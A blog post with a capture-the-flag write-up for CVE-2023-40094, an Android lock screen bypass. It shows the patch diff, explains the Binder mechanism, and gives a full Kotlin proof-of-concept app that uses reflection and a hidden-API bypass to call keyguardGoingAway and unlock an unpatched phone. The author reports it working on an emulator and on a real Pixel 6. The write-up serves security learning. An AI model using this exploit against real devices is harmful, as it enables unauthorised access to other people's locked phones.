Post

BreizhCTF Writeup or Android PoC for CVE-2023-40094

Introduction

The last mobile challenge from the 2024 edition of BreizhCTF consists in developing a proof of concept for the vulnerability known as CVE-2023-40094. An vulnerable system partition is provided.

The goal is to use the app to unlock the phone.

Note I didn’t solve it during the CTF but I remember that according to the challenge the flag was on a screenshot you could see with the screen unlocked so you had to provide an APK that unlocks the phone.

CVE-2023-40094

https://nvd.nist.gov/vuln/detail/CVE-2023-40094:

In keyguardGoingAway of ActivityTaskManagerService.java, there is a possible lock screen bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Let’s take a look at the patch:

First you need to get the Android bulletin of december 2023 (simple Google search) and reach the commit page https://android.googlesource.com/platform/frameworks/base/+/1120bc7e511710b1b774adf29ba47106292365e7.

Then click on diff to get the commit diff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
diff --git a/core/java/android/app/IActivityTaskManager.aidl b/core/java/android/app/IActivityTaskManager.aidl
index fe75dd3..b709b7e 100644
--- a/core/java/android/app/IActivityTaskManager.aidl
+++ b/core/java/android/app/IActivityTaskManager.aidl

@@ -239,6 +239,7 @@
      *              {@link android.view.WindowManagerPolicyConstants#KEYGUARD_GOING_AWAY_FLAG_TO_SHADE}
      *              etc.
      */
+     @JavaPassthrough(annotation="@android.annotation.RequiresPermission(android.Manifest.permission.CONTROL_KEYGUARD)")
     void keyguardGoingAway(int flags);
 
     void suppressResizeConfigChanges(boolean suppress);

diff --git a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
index aa15429..71ca852 100644
--- a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
+++ b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java

@@ -18,6 +18,7 @@
 
 import static android.Manifest.permission.BIND_VOICE_INTERACTION;
 import static android.Manifest.permission.CHANGE_CONFIGURATION;
+import static android.Manifest.permission.CONTROL_KEYGUARD;
 import static android.Manifest.permission.CONTROL_REMOTE_APP_TRANSITION_ANIMATIONS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
@@ -3394,6 +3395,7 @@
 
     @Override
     public void keyguardGoingAway(int flags) {
+        mAmInternal.enforceCallingPermission(CONTROL_KEYGUARD, "unlock keyguard");
         enforceNotIsolatedCaller("keyguardGoingAway");
         final long token = Binder.clearCallingIdentity();
         try {

Notice that a permission android.Manifest.permission.CONTROL_KEYGUARD was added to protect from the call to public void keyguardGoingAway(int flags) both in IActivityTaskManager.aidl and ActivityTaskManagerService.java.

I guess that previously we could call this function without permission but what is keyguard? Its the lock screen so our goal is to call public void keyguardGoingAway(int flags) with the right permissions.

Setup

A vulnerable system (android-34) partition is provided for the challenge, simply put it under <Android Sdk Folder>/Android/Sdk/system-images then create an AVD of a Pixel from this image. Our goal is to bypass the lock screen so enable it first from the settings.

Exploit

The goal is to call public void keyguardGoingAway(int flags) with the right flags from the class ActivityTaskManagerService.java. ActivityTaskManagerService.java is an Android service so how can I call it since it does not live in the app process?

I found some posts that shows how to interact with those API (I just googled the name of the classes and the “exploit” keyword): - https://huaweicloud.csdn.net/64f97cad87b26b6585a1e62b.html: Hooks methods from IActivityTaskManager. - https://androidreverse.wordpress.com/2020/05/03/startflag-dos-exploit: Hooks method startActivity then trigger a DoS.

Inter-app communication uses the Binder. Its an Inter-process comunication mechanism that allows different processes to communicate efficiently (Its like optimized RPC).

Here it means that Android creates an object IActivityTaskManager (defined by a interface file called IActivityTaskManager.aidl) that can call remotely methods of the service defined by ActivityTaskManagerService.java. This object is contained in the class ActivityTaskManager as a Singleton. As the Android framework is loaded in our App process and ActivityTaskManager contains the instance of IActivityTaskManager (has a Singleton) then It is possible to retrieve IActivityTaskManager and then call public void keyguardGoingAway(int flags) remotely from the service ActivityTaskManagerService.java (binder mechanism).

The following code is the PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package com.bzh.love

import android.annotation.SuppressLint
import android.content.Context
import android.os.Build
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.annotation.RequiresApi
import androidx.compose.foundation.layout.Arrangement
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.material3.Text
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import com.bzh.love.ui.theme.BzhTheme
import org.lsposed.hiddenapibypass.HiddenApiBypass

class MainActivity : ComponentActivity() {
    @RequiresApi(Build.VERSION_CODES.P)
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        setContent {
            BzhTheme {
                    Column( modifier = Modifier.fillMaxSize(),
                        verticalArrangement = Arrangement.Center,
                        horizontalAlignment = Alignment.CenterHorizontally) {
                        Text(text = "Exploit is done")
                    }
                }
            }
        doExploit(this)
        }

    }




@RequiresApi(Build.VERSION_CODES.P)
@SuppressLint("PrivateApi", "DiscouragedPrivateApi", "BlockedPrivateApi")
fun doExploit(context: Context) {
    // some online posts show uses of those API:
    // - https://huaweicloud.csdn.net/64f97cad87b26b6585a1e62b.html
    // - https://androidreverse.wordpress.com/2020/05/03/startflag-dos-exploit/
    // HiddenApiBypass comes from:
    // - org.lsposed.hiddenapibypass:hiddenapibypass:4.3

    // Goal: Call keyguardGoingAway using the ActivityTaskManagerService
    Log.i("EXPLOIT", "Launching exploit.")

    // IActivityTaskManager has the keyguardGoingAway method an can be called from our process
    // as it comes from the framework.
    val iActivityTaskManagerClazz = Class.forName("android.app.IActivityTaskManager")
    // We need ActivityTaskManager because it holds a stub of IActivityTaskManager as a Singleton:
    // "IActivityTaskManagerSingleton"
    val activityTaskManagerClazz = Class.forName("android.app.ActivityTaskManager")

    // We use reflection to get IActivityTaskManagerSingleton from ActivityTaskManager
    val iActivityTaskManagerSingletonField =
        activityTaskManagerClazz.getDeclaredField("IActivityTaskManagerSingleton")
    iActivityTaskManagerSingletonField.isAccessible = true // else we can't access private fields

    // our object IActivityTaskManagerSingleton is a singleton so I need to call its get() method
    // to extract the real object or use its mInstance
    val singletonClazz = Class.forName("android.util.Singleton")
    val mInstanceField = singletonClazz.getDeclaredField("mInstance")
    mInstanceField.isAccessible = true // else we can't access private fields

    // Finally get the object IActivityTaskManager from mInstance Field of the Singleton
    val iActivityTaskManagerSingleton = iActivityTaskManagerSingletonField.get(null)
    val iActivityTaskManager = mInstanceField.get(iActivityTaskManagerSingleton)

    // I can't call directly "keyguardGoingAway" so I use the framework HiddenApiBypass.
    try {
        HiddenApiBypass.invoke(iActivityTaskManagerClazz, iActivityTaskManager,
            "keyguardGoingAway", 0)
        Log.i("EXPLOIT", "Exploit is done. Phone must be unlocked.")
    } catch (_: Exception) {
        Log.i("EXPLOIT", "Exploit failed. Target may be not vulnerable.")
    }
}

Notes:

  • The line HiddenApiBypass.invoke(iActivityTaskManagerClazz, iActivityTaskManager, "keyguardGoingAway", 0) is required as the exploit requires to call keyguardGoingAway. Android discourages the access to the API android.app.IActivityTaskManager therefore it is a hidden api. Thus calling keyguardGoingAway requires to use an hidden API bypass such as https://github.com/LSPosed/AndroidHiddenApiBypass. To install it I had to had the following line to the dependencies in build.gradle.kts: implementation("org.lsposed.hiddenapibypass:hiddenapibypass:4.3"). Grabbing fields, methods and classes like this is called Reflection.
  • I call keyguardGoingAway with 0 as it worked with any value I provided.

Besides this line most of the code comes from the links:

Demonstration

Demo on the AVD: Demo Screen unlocks on the emulator

Demo on a physical phone (Pixel 6) flashed with firmware UP1A.231105.003 (11010452) from November 2023 (fix comes in December 2023): Demo Screen unlocks on a real phone

I use scrcpy to stream the phone’s screen on my PC.

Final thoughts

This challenge is so interesting as it forces us to quickly develop a PoC for an existing vulnerability. Thats real world skills. I definitely should have taken more time to do it during the CTF. Huge thanks to the author.

This post is licensed under CC BY 4.0 by the author.